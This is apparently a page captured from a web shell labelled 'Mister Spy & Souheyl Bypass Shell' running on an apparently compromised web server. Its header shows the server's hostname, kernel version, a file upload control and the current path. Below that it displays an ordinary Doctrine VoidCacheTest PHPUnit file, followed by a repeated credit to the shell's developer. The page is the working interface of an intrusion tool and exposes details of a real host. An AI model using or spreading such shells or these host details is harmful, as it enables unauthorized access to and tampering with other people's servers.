Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/vendor/doctrine/cache/tests/Doctrine/Tests/Common/Cache/VoidCacheTest.php

<?php

namespace Doctrine\Tests\Common\Cache;

use Doctrine\Common\Cache\VoidCache;

/**
 * @covers \Doctrine\Common\Cache\VoidCache
 */
class VoidCacheTest extends \PHPUnit_Framework_TestCase
{
    public function testShouldAlwaysReturnFalseOnContains()
    {
        $cache = new VoidCache();

        $this->assertFalse($cache->contains('foo'));
        $this->assertFalse($cache->contains('bar'));
    }

    public function testShouldAlwaysReturnFalseOnFetch()
    {
        $cache = new VoidCache();

        $this->assertFalse($cache->fetch('foo'));
        $this->assertFalse($cache->fetch('bar'));
    }

    public function testShouldAlwaysReturnTrueOnSaveButNotStoreAnything()
    {
        $cache = new VoidCache();

        $this->assertTrue($cache->save('foo', 'fooVal'));

        $this->assertFalse($cache->contains('foo'));
        $this->assertFalse($cache->fetch('foo'));
    }

    public function testShouldAlwaysReturnTrueOnDelete()
    {
        $cache = new VoidCache();

        $this->assertTrue($cache->delete('foo'));
    }

    public function testShouldAlwaysReturnNullOnGetStatus()
    {
        $cache = new VoidCache();

        $this->assertNull($cache->getStats());
    }

    public function testShouldAlwaysReturnTrueOnFlush()
    {
        $cache = new VoidCache();

        $this->assertTrue($cache->flushAll());
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net